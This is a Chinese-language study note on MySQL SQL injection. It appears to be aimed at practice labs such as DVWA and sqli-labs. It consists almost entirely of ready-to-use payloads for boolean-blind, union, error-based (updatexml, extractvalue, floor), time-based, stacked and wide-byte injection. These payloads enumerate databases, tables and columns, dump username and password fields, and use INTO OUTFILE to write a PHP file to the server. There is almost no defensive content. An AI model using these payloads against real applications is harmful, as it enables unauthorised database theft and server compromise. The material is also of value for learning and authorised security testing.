SQL注入学习笔记-MYSQL注入

前言

SQLI(SQL Injection), SQL注入是因为程序未能正确对用户的输入进行检查,将用户的输入以拼接的方式带入SQL语句,导致了SQL注入的产生。攻击者可通过SQL注入直接获取数据库信息,造成信息泄漏。

bool盲注

一、盲注常用函数

函数 作用
length() 返回字符串的长度,例如可以返回数据库名字的长度
substr() 截取字符串,偏移从1开始,非从0开始
ascii() 返回字符的ascii码
sleep(n) 将程序挂起⼀段时间,n为n秒
if(expr1,expr2,expr3) 判断语句 如果第⼀个语句正确就执⾏第⼆个语句如果错误执⾏第三个语句
mid() mid(a,b,c)从位置b开始,截取a字符串的c位

二、判断注入点

➤ 判断是否存在注入点
?id=1' and 1=1 --+(正常页面)
?id=1' and 1=2 --+(报错页面,页面无任何回显)

➤ 有时候系统会将 1=1 过滤掉sql语句,此时可尝试其他数值
?id=1’ and 1352=1352 (正常页面)
?id=1’ and 1352=1452 (报错页面,页面无任何回显)

1’ AND 4003=4003 AND ‘Vvmu’=’Vvmu’
1’ AND 4302=4302 AND ‘kBOZ’ like ‘kBOZ’

➤ 字符型盲注还需要闭合单引号
1’ and ‘1’=’1
1’ or’1’=’2

三、猜解数据库

➤ 猜解数据库名长度
1' and length(database())=1 --+		# 猜解数据库名长度为1,返回错误页面
1' and length(database())=8 --+ 	# 猜解数据库名长度为8,返回正常页面,即数据库名长度为8

➤ 猜解数据库名第一个字符
1’ and ascii(substr(database(),1,1))>114 –+ # 正确页面,说明数据库名的第⼀个字符的ascii值⼤于 114(大写字母R的ascii值);
1’ and ascii(substr(database(),1,1))>115 –+ # 错误页面,说明数据库名的第⼀个字符的ascii值不大于115(大写字母S的ascii值);
1’ and ascii(substr(database(),1,1))=115 –+ # 显示正确,证明该数据库第一个字符为”S”

➤ 猜解数据库名第2个字符
1’ and ascii(substr(database(),2,1))>100 –+ # 正确页面,说明第二个字符ascill值大于100
1’ and ascii(substr(database(),2,1))>101 –+ # 错误页面,说明第二个ascill值少于101
1’ and ascii(substr(database(),2,1))=101 –+ # 正确页面,第二个字符ascill值为101,对应字符为”e”

以此类推……直到将8个字符全部猜解成功

四、猜解数据表

➤ 猜解数据库存在多少个数据表
1' and (select count(table_name) from information_schema.tables where table_schema=database())=1 --+	# 错误页面,说明不是只有一个数据表
1' and (select count(table_name) from information_schema.tables where table_schema=database())=4 --+ 	# 正确页面,说明该数据库存在4个数据表

➤ 猜解第一个表长度
1’ and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=7 –+ # 错误页面,说明第一个表长度不是7
1’ and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=10 –+ # 正确页面,说明第一个表长度为10

➤ 若想猜解该数据库的第二个表长度,只需更改为 limit 1,1即可,若猜解第三个表更改为 limit 2,1
1’ and length(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1))=8 –+

以此类推……

五、猜解表中字段名

➤ 猜解一个表中字段数
1' and (select count(column_name) from information_schema.columns where table_name='数据表名')=1 --+	# 页面错误,说明字段数不为1
1' and (select count(column_name) from information_schema.columns where table_name='数据表名')=2 --+	# 页面正确,说明字段数为2

若想猜解该表中的第一个字段名长度,只需添加 limit 1,1即可,若猜解第三个字段名长度添加 limit 2,1
?id=1’ and length(substr((select column_name from information_schema.columns where table_name= ‘数据表名’ limit 1,1),1))=5 –+

➤ 猜解第一个字段名,第一个字符
1’ and ascii(substr((select column_name from information_schema.columns where table_name= ‘数据表名’ limit 1,1),1,1))=107 –+ # 页面错误,说明第一个字段名第一个字符ascill值不为107
1’ and ascii(substr((select column_name from information_schema.columns where table_name= ‘数据表名’ limit 1,1),1,1))=105 –+ # 页面正确,说明第一个字段名第一个字符ascill值为105

➤ 猜解第一个字段名,第二个字符
1’ and ascii(substr((select column_name from information_schema.columns where table_name= ‘数据表名’ limit 1,1),1,1))=100 –+ # 页面错误,说明第一个字段名,第二个字符ascill值不为100
1’ and ascii(substr((select column_name from information_schema.columns where table_name= ‘emails’ limit 1,1),1,1))=101 –+ # 页面正确,说明第一个字段名,第二个字符ascill值为101

六、猜解数据

➤ 猜解数据
1' and ascii(substr((select 字段名 from 数据库表名 limit 0,1),1,1))=30 --+		# 页面错误,第一个数据字符ascill值不为30
1' and ascii(substr((select 字段名 from 数据表名 limit 0,1),1,1))=49 --+	 	 # 页面正确,第一个数据字符ascill值为49

七、利用字典进行暴力破解

➤ 直接猜解数据是否为"admin"
1' and (select count(*) from 数据表名 where 字段名 = 'admin') = 1 --+

联合注入

第一步:判断注入类型

➤ 整形判断,以下语句,若页面有所变化则可能存在整形注入
?id=1 and 1=1
?id=1 and 1=2

➤ 字符型判断,以下语句,若页面有所变化则可能存在字符型注入
?id=1’ and 1=1
?id=1’ and 1=2

第二步、判断字段数,通过 order by 语句,如果后面输入的数字大于数据库的字段数,页面就会报错,正常若少于字段数则表现为正常页面

➤ 整形
?id=1 order by 5(页面报错)
?id=1 order by 4(页面正常,字段数为4)

➤ 字符型
?id=1’ order by 5(页面报错)
?id=1’ order by 4(页面正常,字段数为4)

第三步:判断回显点,通过上一步知道字段数为4,所以在联合查询时必须要对应4个查询点,使用联合查询(union)获取回显点,然后构造语句获取数据库名

➤ union select 1,2,3,4 --+

➤ union select 1,database(),user(),4 –+
如上,当输入第一条语句时,网页出现2,3回显,则在2,3出可构造语句进行联合查询

第四步:通过在回显点处构造注入代码(在报错页面上进行查询,即?id=1' 、 and 1=2等页面)

➤ 查询数据库
?id=97 and 1=2 union select 1,2,3,4,database(),6,7,8,9,10

➤ 查找库中的表
?id=97 and 1=2 union select 1,2,3,4,group_concat(‘<br/>’,table_name),6,7,8,9,10 from information_schema.tables where table_schema=database()

➤ 查询表中的字段
?id=97 and 1=2 union select 1,2,3,4,group_concat(‘<br/>’,column_name),6,7,8,9,10 from information_schema.columns where table_schema=’数据库名’ and table_name=’表名’

➤ 查询字段里面的数据
?id=97 and 1=2 union select 1,2,3,4,group_concat(‘<br/>’,字段名),6,7,8,9,10 from table_name=’表名’

union select 1,group_concat(字段名),group_concat(字段名) from users(表名)–+

union+select+1,2,3,4,concat_ws(%27~%27,sclname,sclpx),6,7,8,9,10,11,12+from+shuichuli–+

-1’ union select 1,(select group_concat(id,0x7c,username,0x7c,password) from users),3–+

➤ 写入文件
?id=-1’ union select 1,2,’‘ into outfile ‘C:/less1.php’– s

报错注入

一、当无效输入传递给数据库时,通过触发数据库中的错误来利用基于错误的注入。在mysql高版本(大于5.1版本)中添加了对XML文档进行查询和修改的函数updatexml(),extractvalue() 当这两个函数在执行时,如果出现xml文档路径错误就会产生报错

1)updatexml()报错注入

➤ 爆破数据库版本
?id=1'+updatexml(1,concat(0x7e,(SELECT version()),0x7e),1)%23

➤ 爆出数据库及相关信息
?id=1’ and updatexml(1,concat(0x7e,database(),0x7e,user(),0x7e,@@datadir),1)#

➤ 爆当前数据库表信息
?id=1’ and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) #

➤ 爆数据表字段信息
?id=1’ and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=’数据库名’ and table_name=’表名’),0x7e),1) #

➤ 爆数据库内容
?id=1’ and updatexml(1,concat(0x7e,(select group_concat(first_name,0x7e,last_name) from dvwa.users需自行修改)),1) #

2)extractvalue()报错注入

➤ 爆破当前数据库信息
1' and extractvalue(1,concat(0x5c,(select database())))#

➤ 爆破当前数据库表名
1’ and extractvalue(1,concat(0x5c,(select group_concat(table_name) from information_schema.tables where table_schema=’数据库名’)))#

➤ 爆破当前数据库列名
1’ and extractvalue(1,concat(0x5c,(select group_concat(column_name) from information_schema.columns where table_name=’数据表名’)))#

➤ 爆破当前数据库数据
1’ and extractvalue(1,concat(0x5c,( select group_concat(列名,0x3a,列名) from 数据表名)))#

3)floor() 报错注入

➤ 爆破数据库版本信息
?id=1'+and(select 1 from(select count(*),concat((select (select (select concat(0x7e,version(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23

➤ 爆破当前用户
?id=1’+and(select 1 from(select count(*),concat((select (select (select concat(0x7e,user(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23

➤ 爆破当前使用的数据库
?id=1’+and(select 1 from(select count(*),concat((select (select (select concat(0x7e,database(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23

➤ 爆破指定表的字段
?id=1’ +and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,column_name,0x7e) FROM information_schema.columns where table_name=0x656d61696c73 LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23

时间盲注

1)主要使用sleep()函数进行判断

if(ascii(substr(user(),1,1))=114,sleep(5),2)
id=1' and length(database())>=4--+

堆叠注入

在SQL中,分号(;)是用来表示一条sql语句的结束。在 ; 结束一个sql语句后继续构造下一条语句也就造就了堆叠注入

宽字节注入

id=1%df'
id=1%df' %23
id=1%df' union select 1,2,3,database(),5,6,7,8%23